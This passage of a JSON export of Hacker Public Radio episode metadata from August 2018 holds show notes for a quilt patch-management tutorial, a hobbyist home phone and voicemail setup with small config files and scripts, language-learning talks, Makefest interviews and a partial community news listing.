                                                            \n\n\n","hostid":78,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"tip,awk,shebang","version":0,"downloads":0,"valid":1}, {"id":2614,"date":"2018-08-09","title":"My 1948 Truetone D1835 Tube Radio","duration":657,"summary":"I talk about my \"new\" 1948 D1835 Tube-powered radio.","notes":"

                                                            The 1948 Truetone D1835 Tube Radio

                                                            \n\n

                                                            I recently bought a vintage tube powered radio at an estate sale and in this episode I talk about it and let you hear it. Click the image to view my Flickr pictures.

                                                            \n\n

                                                            \"1948

                                                            \n\n

                                                            Watch A video showing the radio in action!

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Vintage audio, legacy technology, radio, antiques","version":0,"downloads":0,"valid":1}, {"id":2615,"date":"2018-08-10","title":"Cancer","duration":1043,"summary":"My history with cancer and how I have dealt with it.","notes":"

                                                            I had surgery for cancer in 2010, and family history of cancer, which means certain things have had to be done.

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Cancer, Prostate, Colon, Lungs","version":0,"downloads":0,"valid":1}, {"id":2616,"date":"2018-08-13","title":"Liverpool Makefest 2018 - interview with Josh - A.K.A - All About Code","duration":310,"summary":"An interview with Josh recorded at Liverpool makefest","notes":"

                                                            This is another short interview recorded at this year's Liverpool Makefest, this time with Josh who developed EduBlocks.

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, EduBlocks, computing, young coders","version":0,"downloads":0,"valid":1}, {"id":2617,"date":"2018-08-14","title":"Exposing a Raspberry Pi database through a REST API","duration":1219,"summary":"In this episode, I discuss how I used python to make my speedtest data available across my network","notes":"

                                                            Links from the episode

                                                            \n\n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python,development","version":0,"downloads":0,"valid":1}, {"id":2618,"date":"2018-08-15","title":"Yesod - First Impressions","duration":1385,"summary":"Tuula talking about their first impressions of Yesod web framework","notes":"

                                                            First place to start is probably Yesod’s web site at: https://www.yesodweb.com/

                                                            \n

                                                            Often recommended environment for developing Haskell programs is Stack: https://docs.haskellstack.org/en/stable/README/

                                                            \n

                                                            My road to Haskell started with Learn You a Haskell for Great Good: https://learnyouahaskell.com/ and going through lecture notes of CIS 194: https://www.seas.upenn.edu/%7Ecis194/spring13/lectures.html

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell,yesod,web","version":0,"downloads":0,"valid":1}, {"id":2619,"date":"2018-08-16","title":"A Gentle Introduction to Quilt","duration":1225,"summary":"Quilt - the patch manager. Introduction and tutorial.","notes":"

                                                            A gentle introduction to quilt

                                                            \n

                                                            Or, patch management for software.

                                                            \n

                                                            Speaker Intro

                                                            \n

                                                            Hi, I'm bjb. I'm a programmer.

                                                            \n

                                                            Motivation and topic intro

                                                            \n

                                                            I needed to learn how to use the software tool "quilt", so you get to listen to my podcast about an introduction to quilt.

                                                            \n

                                                            People collaborating on a project must edit the same set of source files. After one person commits some changes, then the other people must rebase their own changes on the new version of the shared files before they can push their changes.

                                                            \n

                                                            A minor fix for some old typo should not be in the same patch as a new feature; a comment correction should also be in its own patch. Essentially, two new features and some bug fixes should not all be smushed together in one patch. Each feature should be in its own patch (or patch series), and each bug fix should be in its own patch. This allows others to be able to review the proposed changes easily, and even lets them pick and choose which patches they want to apply. It becomes a chore to manage all these patches. That's where quilt comes in.

                                                            \n

                                                            Sadly, I hadn't learned quilt till this weekend ... well one way to ensure I learn it fairly well is to write a HPR episode about it! Here goes.

                                                            \n

                                                            I have written this episode to be understandable by anyone - you don't have to be a coder. You could use this tool to keep track of any plain-text files - recipes, todo lists, html, hpr show notes, poetry, what-have-you.

                                                            \n

                                                            Introduction

                                                            \n

                                                            First let's describe what a patch is. No, first let's describe what source code looks like. Source code is a plain text file full of computer instructions. It is a plain text file, as opposed to a word processing file. Plain text files do not have any formatting codes or styles in them (such as which font should be used, or what colour, and so on). They just contain the characters that make up words of the content.

                                                            \n

                                                            A key feature of these source code files is that a new section of the file starts on a new line. The source code is almost never "reflowed" like prose might be. It is sort of like poetry - the more formal poetry, not prose poetry. There are a lot of really small sections in source code files (called "statements" and "expressions"). Most of these sections fit on one line. This is useful for the tools we're going to discuss because when one line changes it does not affect the following lines, as it might when text is reflowed after a change.

                                                            \n

                                                            People have been coding with plain text files in various languages for decades. Thus a large set of tooling has grown around this format. One of those tools is called "diff" and another one is called "patch".

                                                            \n

                                                            Diff is a way to compare two text files. Typically it would be used to compare the "before" and "after" of a source code file undergoing changes. So you could find out what was done to the source code file by running diff on the before and after versions of that file.

                                                            \n

                                                            A diff file is a series of excerpts from the original and changed files. There are various kinds of diffs. Some of them show only the changed lines. Some of them show a few lines before and a few lines after in addition to the changed lines themselves. That second kind is called a "context diff" and helps the automated machinery (and humans too) find the correct part of the file to which the change must be applied.

                                                            \n

                                                            By default there are 3 lines of context before and after the changed lines.

                                                            \n

                                                            The changed part is represented by including the old AND new line. In order to distinguish which lines are old and which are the replacements, all the lines (context lines, removed lines and added lines) are shifted over to the right by one character. The context lines start with a space in the extra left-most character, the original removed lines have a minus sign in the left-most character and the new added lines have a plus sign.

                                                            \n

                                                            Thus if any character on a line in the source file has changed, been added or removed, then the whole line will be replaced with a new line in the new file. The diff will show both the removed line and the new one.

                                                            \n

                                                            The patch utility takes the "diff" output and applies it to the original file to produce the later version of that file. You can apply it in reverse mode to the later version to get the original version. So patch is also a really useful program, and these two tools, diff and patch, are the basis of most of the version control systems out there. It is the existence of these text-based diff and patch tools that makes revision control systems work really well on plain-text files that are naturally structured in a line-by-line format.

                                                            \n

                                                            A note about terminology: the diff program produces a diff. This diff is also called a patch. The patch program takes the diff (aka patch) and applies it to the original file to produce the changed file.

                                                            \n

                                                            So if you have a timeline of adding a few features and making a few fixes on a code-base, it can be fully described by the original file plus a set of patches that had been produced with diff. You can get the final source code by taking the original file, applying the patches one by one, and voila, the final version of the file has been recreated.

                                                            \n

                                                            Now we know enough to give a concise description of quilt:

                                                            \n

                                                            Quilt lets you work with patches, creating them, applying them, un-applying them, and moving some things from one patch to another with a minimum of effort.

                                                            \n

                                                            How to use quilt

                                                            \n

                                                            Now a tutorial on how to get started using quilt.

                                                            \n

                                                            This tutorial will start with a buggy program, create a few bad patches, and fix them up into good patches. I make no claims as to the quality of the final code though. The reason for starting with bad code and patches is to illustrate how to use quilt.

                                                            \n

                                                            Starting to use quilt on a project

                                                            \n

                                                            To start using quilt, create a directory called "patches" at the top of your code or just above.

                                                            \n
                                                            $ mkdir patches
                                                            \n

                                                            If you don't do this, quilt will create it for you. However, first it will look for a directory called "patches" in the current working directory, its parent, and all the way up ... if it finds one, it will use it. If not, it will create one in the current directory.

                                                            \n

                                                            So, to keep it from finding some unrelated directory with the name "patches", just create a patches directory yourself in the right place.

                                                            \n

                                                            Quilt first patch, including a new file!

                                                            \n

                                                            You must tell quilt before you make any changes to your source code. Then it can store the original versions of the files that will change, so it can produce the diffs that will become that patch once you change the files.

                                                            \n

                                                            Create a directory called example, and create a file in it like this, called hello.c (don't fix the errors):

                                                            \n
                                                            #include "stdio.h"\n\nint main (int argc, char *argv[], char *env[])\n{\n    print ("Hello, world!n")\n    return 0;\n}
                                                            \n

                                                            Now create a new patch - that is, give it a name - before you change any code. This will create (or find) a couple of directories, "patches" and ".pc", and populate them with some files to start.

                                                            \n
                                                            $ quilt new fix-typo
                                                            \n

                                                            And now you can fix the typo and generate the patch. First start by telling quilt that you want hello.c to be in the patch. Quilt saves a copy of it aside for comparing with the later versions:

                                                            \n
                                                            $ quilt add hello.c
                                                            \n

                                                            You can get quilt to tell you what files it knows about:

                                                            \n
                                                            $ quilt files
                                                            \n

                                                            Edit the file - add a semicolon at the end of the print line, and change the double-quotes on the #include line to angle brackets:

                                                            \n
                                                            #include <stdio.h>\nprint ("Hello, world!n");
                                                            \n

                                                            Save the file and exit the editor. Next generate the patch:

                                                            \n
                                                            $ quilt refresh
                                                            \n

                                                            The oddly named "refresh" command creates the patch itself. It is called "refresh" because it can also be used to update the patch.

                                                            \n

                                                            Now you can see the current set of patches by giving the command:

                                                            \n
                                                            $ quilt series
                                                            \n

                                                            The single patch is called fix-typo, and its name in the list is coloured brownish. That is because it is the "current" patch, and it is the one that will be updated if you "quilt refresh" again with more changes.

                                                            \n

                                                            One thing I did not find in the quilt documentation is how to add a new file. When adding a new file, there is no existing file that you can name in the quilt add command. Of course, the very first patch I wanted to manage with quilt, I had introduced a new file. It turns out that the quilt edit command can be used to add a file to the patch, even if the file does not yet exist:

                                                            \n
                                                            $ quilt edit header.h
                                                            \n

                                                            Add content to header.h (see below) using the plain-text editor that quilt has started up for you. Save the file.

                                                            \n
                                                            #ifndef HEADER_HH__\n#define HEADER_HH__\n\n#define NAME "bjb"\n\n#endif
                                                            \n

                                                            Regenerate the patch with the new changes:

                                                            \n
                                                            $ quilt refresh
                                                            \n

                                                            Now you can list the patch series again with quilt series. So far there is one patch. You can see what the patch consists of with the

                                                            \n
                                                            $ quilt diff
                                                            \n

                                                            command.

                                                            \n
                                                            $ quilt diff\nIndex: hello/hello.c\n===================================================================\n--- hello.orig/hello.c\n+++ hello/hello.c\n@@ -1,8 +1,8 @@\n-#include "stdio.h"\n+#include <stdio.h>\n\n int main (int argc, char *argv[], *env[])\n {\n-    print ("Hello, world!n")\n+    print ("Hello, world!n");\n     return 0;\n }\n\nIndex: hello/header.h\n===================================================================\n--- /dev/null\n+++ hello/header.h\n@@ -0,0 +1,7 @@\n+#ifndef HEADER_HH__\n+#define HEADER_HH__\n+\n+#define NAME "bjb\n+\n+#endif\n+\n$
                                                            \n

                                                            Quilt second patch

                                                            \n

                                                            Now it is time to make a second patch. First we tell quilt we are moving to a new patch:

                                                            \n
                                                            $ quilt new prototype\n$ quilt edit header.h
                                                            \n

                                                            Edit this file again - add a function prototype.

                                                            \n
                                                            int do_output(const char *name);
                                                            \n

                                                            Create the patch and look at the list of patches:

                                                            \n
                                                            $ quilt refresh\n$ quilt series
                                                            \n

                                                            Now when we give the quilt series command, we see two patches. The first one is green, meaning it has been applied, and the second one is brown, meaning this is the one that quilt refresh will change if you call it.

                                                            \n

                                                            Again you can see what latest diff looks like by giving the quilt diff command.

                                                            \n
                                                            $ quilt diff
                                                            \n

                                                            Now let's unapply the latest diff:

                                                            \n
                                                            $ quilt pop\n$ quilt series
                                                            \n

                                                            We see that the list of patches has the same patches in it, but now the second patch is white (meaning unapplied) and the first patch is brown (meaning it is the one that would change if we edited a file and typed quilt refresh.

                                                            \n
                                                            $ quilt files
                                                            \n

                                                            That first patch has two files in it, hello.c and header.h.

                                                            \n

                                                            Now unapply the first diff:

                                                            \n
                                                            $ quilt pop\n$ quilt series
                                                            \n

                                                            Both patches are listed, and both are shown as white.

                                                            \n

                                                            We can see what files quilt knows about before any patches are applied:

                                                            \n
                                                            $ quilt files
                                                            \n

                                                            No files.

                                                            \n

                                                            Apply all the patches at once:

                                                            \n
                                                            $ quilt push -a\n$ quilt series
                                                            \n

                                                            And look at what files quilt knows about:

                                                            \n
                                                            $ quilt files
                                                            \n

                                                            Now quilt reports on only one file, while in the first patch it knew about two files. You must be careful to "add" each file to each patch, or it will not put the changes in those files into the patch. Luckily, quilt edit will put the files in the patch for you, so if you always start your editor with quilt edit fname, then you will have your changed files added to your patches without having to take any other action. But, if you are adding an existing file to the patch, you can add it without having to open your editor with the quilt add command:

                                                            \n
                                                            $ quilt add fname
                                                            \n

                                                            In order to avoid forgetting to add a file in a patch as I was editing, I just added all the files in the directory each time I created a new patch, whether I edited them or not.

                                                            \n

                                                            Split a patch in two parts

                                                            \n

                                                            We are going to split the first patch in two parts. We had fixed a typo and added a new file in one patch. They should be two separate patches.

                                                            \n

                                                            First make the first patch current:

                                                            \n
                                                            $ quilt pop
                                                            \n

                                                            Then make a copy of that patch:

                                                            \n
                                                            $ quilt fork
                                                            \n

                                                            This makes a copy of the first patch called fix-typo-2. But, it removes the first patch fix-typo and puts fix-typo-2 in the series. We need to put the first patch back, and then edit each of the two fix-typo patches so each one contains one part of the original patch.

                                                            \n
                                                            # edit patches/series file and put the first patch back\n# The file should contain:\n\nfix-typo\nfix-typo-2\nprototype
                                                            \n

                                                            Now edit the first patch using a plain-text editor. It is in patches/fix-typo. Remove the part about the new file, header.h. It should now look like:

                                                            \n
                                                            Index: hello/hello.c\n===================================================================\n--- hello.orig/hello.c\n+++ hello/hello.c\n@@ -1,4 +1,4 @@\n-#include "stdio.h"\n+#include <stdio.h>\n\n int main (int argc, char *argv[], *env[])\n {
                                                            \n

                                                            Save this file. Now edit the second patch patches/fix-typo-2 using a plain-text editor. Remove the part about the file hello.c. It should now look like:

                                                            \n
                                                            Index: hello/header.h\n===================================================================\n--- /dev/null\n+++ hello/header.h\n@@ -0,0 +1,7 @@\n+#ifndef HEADER_HH__\n+#define HEADER_HH__\n+\n+#define NAME "bjb\n+\n+#endif\n+
                                                            \n

                                                            If you give a quilt series command now, you will see that fix-typo-2 is the current patch and quilt thinks fix-typo has been applied.

                                                            \n

                                                            We have to fix up quilts idea of reality.

                                                            \n

                                                            Pop the current patch. Things have changed under quilts feet so we have to force this with the -f option:

                                                            \n
                                                            $ quilt pop -f
                                                            \n

                                                            Now, because quilt thought the original state of fix-typo-2 is the unchanged file, quilt shows the series as being completely un-applied.

                                                            \n
                                                            $ quilt series\npatches/fix-typo\npatches/fix-typo-2\npatches/prototype
                                                            \n

                                                            Now we can push the patches:

                                                            \n
                                                            $ quilt push -a
                                                            \n

                                                            Rename a patch

                                                            \n

                                                            Here we rename a patch from fix-typo-2 to add-header. The quilt rename command acts on the current patch, so make fix-typo-2 current first:

                                                            \n
                                                            $ quilt pop fix-typo-2\n$ quilt rename add-header\n$ quilt series\n$ quilt push -a
                                                            \n

                                                            Reorder the patch series

                                                            \n

                                                            We will make a new patch, then move it earlier in the series:

                                                            \n

                                                            First make the new patch:

                                                            \n
                                                            $ quilt new printf\n$ quilt edit hello.c
                                                            \n

                                                            And change the print statement to:

                                                            \n
                                                            printf("Hello, world!n");
                                                            \n

                                                            Save the patch:

                                                            \n
                                                            $ quilt refresh
                                                            \n

                                                            Now to demonstrate the reordering.

                                                            \n

                                                            Unapply all the patches, edit the patches series file patches/series so the patches are in the order you like, and then re-apply the patches. If you are lucky, they will re-apply with no conflicts.

                                                            \n
                                                            $ quilt pop -a\n$ vi patches/series\n# move "printf" between fix-typo and add-header.\n# now all the bug-fixes are at the beginning of the series\n$ quilt push -a
                                                            \n

                                                            Merge two patches into one

                                                            \n

                                                            Make another new patch:

                                                            \n
                                                            $ quilt new output-function\n$ quilt edit hello.c
                                                            \n

                                                            Change the c file to this:

                                                            \n
                                                            #include <stdio.h>\n\nint do_output(const char *name)\n{\n    return printf("Hello, %s!n", name);\n}\n\nint main (int argc, char *argv[], char *env[])\n{\n    /* ignoring the return code for do_output */\n    do_output(NAME);\n    return 0;\n}
                                                            \n
                                                            $ quilt refresh
                                                            \n

                                                            Now, to merge two patches into one:

                                                            \n
                                                            $ quilt pop prototype\n$ quilt fold < patches/output-function
                                                            \n

                                                            We have merged the prototype and output-function patches, because they describe a related change.

                                                            \n

                                                            Save the patch.

                                                            \n
                                                            $ quilt refresh
                                                            \n

                                                            Throw away a patch

                                                            \n

                                                            Now we no longer need the last patch, output-function, as it has been included into the prototype patch. But we might want to rename the prototype patch.

                                                            \n
                                                            $ quilt delete output-function\n# we have to clean up a bit for quilt or the rename won't work\n$ rm patches/output-function\n$ quilt rename output-function
                                                            \n

                                                            Deleting will not work on a patch that has been applied before the current patch.

                                                            \n

                                                            You are ready to contribute your patches ... go forth and code.

                                                            \n

                                                            Summary

                                                            \n

                                                            We have seen that quilt can help you manage your contributions to any project that is written in plain-text files. It can generate patch files (usually needed for contributions to open source projects) and can help you manage and update them as the tip of the development branch moves forward with other peoples' contributions.

                                                            \n

                                                            To use quilt successfully, you need to remember to add files to each patch with quilt add/or quilt edit before editing, and to generate the patch with quilt refresh once all the editing of each patch is done. The rest is easy.

                                                            \n

                                                            Commands that edit the patches:

                                                            \n
                                                            $ quilt new patch-name\n$ quilt add fname\n$ quilt edit fname\n$ quilt refresh\n$ quilt pop [-a]\n$ quilt push [-a]\n$ quilt rename [-P oldname] newname\n$ quilt delete [-P patchname]\n$ quilt fold < patch_to_merge
                                                            \n

                                                            Commands that view the state of the patches:

                                                            \n
                                                            $ quilt series\n$ quilt files\n$ quilt diff [-P patchname]\n$ quilt graph [--all]\n$ quilt patches fname\n$ quilt annotate fname\n$ quilt applied\n$ quilt unapplied
                                                            \n

                                                            HPR exhortation

                                                            \n

                                                            You've been listening to Hacker Public Radio. Anyone can make a show -if I can do it, so can you.

                                                            \n","hostid":357,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"quilt, patch, diff, plain-text, editor","version":0,"downloads":0,"valid":1}, {"id":2620,"date":"2018-08-17","title":"Thoughts on language learning part 1","duration":1471,"summary":"My thoughts on an approach to language learning which makes sense to me.","notes":"

                                                            This is the first part of a 3 part series in which I ramble on about my thoughts on language learning. I’m no expert and I barely know one language well. In a nutshell:

                                                            \n
                                                              \n
                                                            1. Teach as much as possible in the new language, focusing on vocabulary.
                                                            2. \n
                                                            3. Rather than starting with baby books, which might not be a bad idea, try to use a similar approach but assume the learners know a bit about how the world works.
                                                            4. \n
                                                            5. The goal is to get to about age 5-6 level in vocabulary so the learner can then switch to language books in the new language which already exist.
                                                            6. \n
                                                            ","hostid":151,"series":0,"explicit":0,"license":"CC-0","tags":"spoken language learning","version":0,"downloads":0,"valid":1}, {"id":2621,"date":"2018-08-20","title":"Liverpool Makefest 2018 - Chan'nel Thomas a.k.a little pink maker","duration":293,"summary":"In this episode I talk to Chan'nel Thomas aka little pink maker","notes":"

                                                            In this episode recorded at Liverpool Makefest 2018 I talk to Chan'nel Thomas aka little pink maker. Chan'nel has an amazing web site; the link is below. I was going to include a couple of pictures taken on the day but they don't do her work the justice it deserves.

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018,Making, hacking, creativity, inventions","version":0,"downloads":0,"valid":1}, {"id":2622,"date":"2018-08-21","title":"Raspberry Pi Temperaturator","duration":272,"summary":"I invite my 6 year-old daughter on to discuss how we setup a temperature monitor on her pi","notes":"

                                                            Items used

                                                            \n
                                                              \n
                                                            • Raspberry pi 3 B
                                                            • \n
                                                            • 0.25 watt resistors
                                                            • \n
                                                            • Reusable breadboard
                                                            • \n
                                                            • One Wire thermal probe
                                                            • \n
                                                            • Various jump wires
                                                            • \n
                                                            \n","hostid":300,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"raspberry pi","version":0,"downloads":0,"valid":1}, {"id":2623,"date":"2018-08-22","title":"Actors and Agents, Sprites and Fractals","duration":3426,"summary":"In which I sit down with cwebber and try to keep it short, but end up with an hour of tangents","notes":"

                                                            Plugs:

                                                            \n
                                                              \n
                                                            • Chris works on Object Capabilities for Linked Data (OCAP-LD) and other things for a living, at https://digitalbazaar.com/ .

                                                            • \n
                                                            • clacke works at https://fractalide.com/ making better tools for future programmers.

                                                            • \n
                                                            • We’re both fortunate enough to have the chance to get paid for creating all Free Software.

                                                            • \n
                                                            • Christopher Lemmer Webber and Morgan Lemmer Webber will be speaking at RacketCon 2018 on the topic Racket for Everyone (Else), how non-programmers can do "programmable publishing" using Scribble when writing humanities papers, and how Racket could better target not just beginner programmers and hard-core language theorists, but also the huge space in between.

                                                            • \n
                                                            \n

                                                            More information on the topics covered:

                                                            \n
                                                              \n
                                                            • For my last show with Chris, see hpr2198 :: How awesome is Guix and why will it take over the world

                                                            • \n
                                                            • His Actors library for Guile Scheme is 8sync. A video of him playing in front of an audience with the Multi-User Dungeon (MUD) on top of 8sync is available on the front page.

                                                            • \n
                                                            • Spritely, the media sharing platform that may or may not be the next MediaGoblin, is currently vaporware, but the underlying Goblins Actors library for Racket is real and works.

                                                            • \n
                                                            • Wikipedia has more on the Actor Model, Flow-Based Programming and Object Capabilities (OCap).

                                                            • \n
                                                            • We also mentioned in passing Communicating Sequential Processes.

                                                            • \n
                                                            • I knew that OCap grew up in the context of E, but I didn’t know that E itself actually grew out of the needs of a form of MUD, built by Electric Communities (EC). I’m guessing this is the graphical MMORPG Habitat that EC built for Lucasfilm back in 1986, for the Commodore 64. Some writing about EC and the philosophy and experience around what they did is collected at https://www.crockford.com/ec/.

                                                            • \n
                                                            • Language-oriented programming (LOP) is an old LISP methodology: Understand the problem, write a language for describing and solving the problem, write the solution in that language. Racket (itself a LISP) is heavily focused on this, and comes with a whole slew of languages out of the box. The Racket slogan on https://racket-lang.org/ is "solve problems — make languages".

                                                            • \n
                                                            • A recent ACM article describes in depth what the challenges of good LOP are, and how Racket helps the programmer work with it.

                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"flow-based, actors, fractalide, racket, ocap, mud, programming","version":0,"downloads":0,"valid":1}, {"id":2624,"date":"2018-08-23","title":"Cycling through Brussels","duration":1327,"summary":"On a hot day Knightwise rides his bike through Brussels.","notes":"

                                                            Cycling Through Brussels

                                                            \n\n","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cycling,Brussels","version":0,"downloads":0,"valid":1}, {"id":2625,"date":"2018-08-24","title":"My thoughts on language learning communication applications.","duration":980,"summary":"I discuss some of my thoughts regarding using chat programs in language learning","notes":"

                                                            This is the second in the series of my thoughts on language learning. In this episode I talk about it might be useful to modify existing chat programs to use two spell checking databases, one for the native language and one for the new language and have words removed from the native language dictionary as the learner advances.

                                                            \n

                                                            I did forget to mention that something similar might be done with the grammar checkers, too.

                                                            \n","hostid":151,"series":0,"explicit":0,"license":"CC-0","tags":"spoken language learning","version":0,"downloads":0,"valid":1}, {"id":2626,"date":"2018-08-27","title":"Liverpool Makefest 2018 - interviews with Helen and Chris","duration":510,"summary":"Interviews about Manchester Hackspace and Wirral Code Club","notes":"

                                                            In this episode I talk to Helen from Manchester Hackspace and Chris from Wirral Code Club

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts","version":0,"downloads":0,"valid":1}, {"id":2627,"date":"2018-08-28","title":"Home Phone Setup!!","duration":1402,"summary":"This episode we set up a small phone system.","notes":"

                                                            I’m not sure what the echoing is about. It could be picked up from my cell phone’s speaker. Also, I call ftp “tiny ftp” It actually stands for “trivial ftp”

                                                            \n

                                                            \"https://theadesilva.com/hpr_phone1.jpg\" \"https://theadesilva.com/hpr_phone2.jpg\" \"https://theadesilva.com/hpr_phone3.jpg\" \"https://theadesilva.com/hpr_phone4.jpg\"

                                                            \n

                                                            tftp file for xinetd:

                                                            \n
                                                            service tftp\n{\n protocol = udp\n port = 69\n socket_type = dgram\n wait = yes\n user = nobody\n server = /usr/sbin/in.tftpd\n server_args = /tftpboot\n disable = no\n per_source = 11\n cps = 100 2\n flags = IPv4\n}
                                                            \n

                                                            voipbuster config files look like this:

                                                            \n
                                                            SIPDefault.cnf:\n  nat_enable: 1\n\nSIP<mac address>.cnf:\nproxy1_address: sip.voipbuster.com\nline1_name: outside\nline1_authname: <user>\nline1_displayname: outside\nline1_password: <password>
                                                            \n

                                                            github projects:

                                                            \n
                                                              \n
                                                            • SIP_Pi: github.com/fabianhu/SIP_Pi (PjSIP: https://www.pjsip.org/release/2.1/pjproject-2.1.tar.bz2 )

                                                            • \n
                                                            • Messenger-CLI: github.com/AstroCB/Messenger-CLI

                                                            • \n
                                                            \n

                                                            scripts:

                                                            \n
                                                            =============================\nconst login = require("facebook-chat-api");\n\nlogin({email: "FB_EMAIL", password "FB_PASSWORD"}, (err, api) =>\n{\n  if(err) return console.error(err);\n  api.listen((err,message) => {\n   api.sendMessage(message.body, message.threadID);\n  });\n});\n\n=============================\n\n#!/bin/sh\nlame "$2" -o "$2".mp3\n\nscp "$2.mp3" planetearth.us:\nssh planetearth.us ./runner ""$2.mp3""\n\n==============================\n\n#!/bin/sh\n\necho "$@" | sed -e s/ /_/g > runner_tmp\ndoas mv "$1" /var/www/theadesilva.com/html/$cat runner_tmp)\nnode ./oo.js\n\n==============================\n\nfs= require('fs');\nlogin = require('facebook-chat-api');\n\nfs.readFile('runner_tmp', 'utf8', function (err, data) {\n login({email: "FB_EMAIL", password: "FB_PASSWORD"}) => {\n  if(err) return console.error(err);\n\n  api.sendMessage("New voicemail at 1109's front door "https://theadesilva.com/" + data + """ , THREAD_ID);\n });\n});\n\n===============================
                                                            \n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sip kamailio ","version":0,"downloads":0,"valid":1}, {"id":2628,"date":"2018-08-29","title":"UK Telephone Network Exploration","duration":589,"summary":"I describe the process of finding interesting phone numbers on the UK telephone network.","notes":"

                                                            If you have any questions regarding the show. Please leave them on the show page, or email me at james@jamesdotcom.com or twitter @Xtrato.

                                                            \n

                                                            My PGP key can be found here: https://jamesdotcom.com/pub.txt

                                                            \n","hostid":368,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"UK telephone network,British Telecom,BT","version":0,"downloads":0,"valid":1}, {"id":2629,"date":"2018-08-30","title":"Thoughts on language learning part 3 - game/story mode.","duration":1564,"summary":"I discuss some of my thoughts on how games might help in language learning.","notes":"

                                                            This is the last of 3 parts on my thoughts on language learning. This one introduces my thoughts on how games might be used in language learning. More or less the same concepts from the first two episodes only applied to game/story design.

                                                            \n

                                                            NOTE: I’m not a game designer.

                                                            \n

                                                            On the off chance this sounds interesting to you, hpr2620 and hpr2625 are the other two.

                                                            ","hostid":151,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"spoken language learning","version":0,"downloads":0,"valid":1}, {"id":2630,"date":"2018-08-31","title":"Open Source Gaming: Revisiting Meridian 59","duration":229,"summary":"Discussing the steam release of Meridian 59 (recorded before release)","notes":"\n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Meridian 59,Steam","version":0,"downloads":0,"valid":1}, {"id":2631,"date":"2018-09-03","title":"HPR Community News for August 2018","duration":4471,"summary":"HPR Volunteers talk about shows released and comments posted in August 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Xtrato.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2608Wed2018-08-01BattleTechTuula
                                                            2609Thu2018-08-02SparkleShareklaatu
                                                            2610Fri2018-08-03Gnu Awk - Part 12Dave Morriss
                                                            2611Mon2018-08-06HPR Community News for July 2018HPR Volunteers
                                                            2612Tue2018-08-07Liverpool Makefest 2018 - interview with Joe aka Concrete DogTony Hughes AKA TonyH1212
                                                            2613Wed2018-08-08Quick Awk Tipklaatu
                                                            2614Thu2018-08-09My 1948 Truetone D1835 Tube RadioJon Kulp
                                                            2615Fri2018-08-10CancerAhuka
                                                            2616Mon2018-08-13Liverpool Makefest 2018 - interview with Josh - A.K.A - All About CodeTony Hughes AKA TonyH1212
                                                            2617Tue2018-08-14Exposing a Raspberry Pi database through a REST APIMr. Young
                                                            2618Wed2018-08-15Yesod - First ImpressionsTuula
                                                            2619Thu2018-08-16A Gentle Introduction to Quiltbjb
                                                            2620Fri2018-08-17Thoughts on language learning part 1dodddummy
                                                            2621Mon2018-08-20Liverpool Makefest 2018 - Chan'nel Thomas a.k.a little pink makerTony Hughes AKA TonyH1212
                                                            2622Tue2018-08-21Raspberry Pi TemperaturatorMr. Young
                                                            2623Wed2018-08-22Actors and Agents, Sprites and Fractalsclacke
                                                            2624Thu2018-08-23Cycling through Brusselsknightwise
                                                            2625Fri2018-08-24My thoughts on language learning communication applications.dodddummy
                                                            2626Mon2018-08-27Liverpool Makefest 2018 - interviews with Helen and ChrisTony Hughes AKA TonyH1212
                                                            2627Tue2018-08-28Home Phone Setup!!sigflup
                                                            2628Wed2018-08-29UK Telephone Network ExplorationXtrato
                                                            2629Thu2018-08-30Thoughts on language learning part 3 - game/story mode.dodddummy
                                                            2630Fri2018-08-31Open Source Gaming: Revisiting Meridian 59TheDUDE
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 25 comments in total.

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                            • hpr2542\n(2018-05-01) \"How I helped my dad run a static website using SparkleShare\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2018-08-04:\n\"Full episode on SparkleShare\"

                                                              \n
                                                            \n

                                                            There are 24 comments on 15 of this month's shows:

                                                            \n
                                                            • hpr2608\n(2018-08-01) \"BattleTech\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncmhobbs on 2018-08-01:\n\"hurray battletech!\"
                                                              • Comment 2:\nTuula on 2018-08-05:\n\"MegaMek and MekWars\"

                                                              \n
                                                            • hpr2609\n(2018-08-02) \"SparkleShare\"\nby klaatu.
                                                            • \n
                                                            • \n
